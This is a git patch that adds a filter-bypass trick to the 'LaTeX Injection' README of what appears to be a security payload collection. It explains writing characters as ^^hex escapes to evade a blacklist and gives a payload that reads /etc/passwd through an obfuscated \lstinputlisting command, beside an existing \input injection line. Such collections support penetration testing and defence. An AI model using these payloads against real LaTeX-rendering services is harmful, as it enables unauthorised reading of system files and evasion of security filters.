From ae3f91c88a95f7effd291fae6ecf9c920edec4f2 Mon Sep 17 00:00:00 2001 From: Alexander Hebel Date: Sun, 12 Nov 2023 11:13:41 +0100 Subject: [PATCH] latex injection add blacklist bypass --- LaTeX Injection/README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/LaTeX Injection/README.md b/LaTeX Injection/README.md index 8bfae06..4fd3396 100644 --- a/LaTeX Injection/README.md +++ b/LaTeX Injection/README.md @@ -53,6 +53,14 @@ characters can be deactivated in order to use `\input` on file containing `$`, ` \input{path_to_script.pl} ``` +To bypass a blacklist try to replace one character with it's unicode hex value. +- ^^41 represents a capital A +- ^^7e represents a tilde (~) note that the ā€˜eā€™ must be lower case + +```tex +\lstin^^70utlisting{/etc/passwd} +``` + ## Write file Write single lined file: